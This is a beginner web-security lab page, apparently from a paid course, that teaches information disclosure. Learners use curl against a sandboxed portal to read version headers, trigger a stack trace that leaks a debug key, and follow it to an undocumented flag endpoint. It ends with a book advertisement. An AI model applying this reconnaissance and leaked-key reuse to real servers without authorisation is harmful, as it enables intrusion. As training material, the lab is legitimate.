Information Disclosure · Lab 01
Lab 01 Module 1 Easy

Information Disclosure

A small portal is running on a real server. It talks too much. Use it — and find the flag.

The rule: nothing you do here leaves the sandbox. No brute force. The flag is reachable in under ten requests.

Test

Copy these. Run them in your terminal. Read what comes back.

Step 1 · Read the response headers

Before you ask the app to do anything unusual, request the root and read what it tells you.

Terminal
curl -i {LAB_API_BASE}/api/01/

What you'll see:

Response
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.4
X-Powered-By: Flask
Content-Type: application/json

{
  "app": "hunterlian-lab-01",
  "status": "ok",
  "build": "2026.01.17"
}

The Server and X-Powered-By headers are the first leak — the app tells you exactly which framework and version it runs on.

Step 2 · Trigger an error

Now send the app something it doesn't expect. Errors are the loudest leaks.

Terminal
curl -i "{LAB_API_BASE}/api/01/user/not-a-number"

What you'll see:

Response
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html

<!-- Traceback (most recent call last): -->
<!--   File "/srv/app/views/user.py", line 42, in get_user -->
<!--     uid = int(request.args["id"]) -->
<!-- ValueError: invalid literal for int() with base 10: 'not-a-number' -->
<!-- DEBUG_KEY=HL-7F3A-2026 -->
<!-- DEBUG=True — see /debug for full env -->

The trace names a file path, a line, the exception — and it leaks a DEBUG_KEY plus a pointer to /debug.

Step 3 · Follow the hint

The error told you where to go. Go there.

Terminal
curl -s "{LAB_API_BASE}/api/01/debug"

What you'll see:

Response
HTTP/1.1 200 OK

{
  "environment": "production",
  "user": "demo",
  "role": "user",
  "flags": {"next": "/api/01/debug/flag?key="}
}

The last value points you at the next secret. That is the whole lesson: the app will show you the door before you look for it.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The debug response exposed /api/01/debug/flag — an endpoint that was never documented. It takes a key query parameter, and the key is hidden in what you already saw.

Look back at the error page from Step 2. It leaked a value. Reuse it. The flag is close.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 01 — Information Disclosure

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →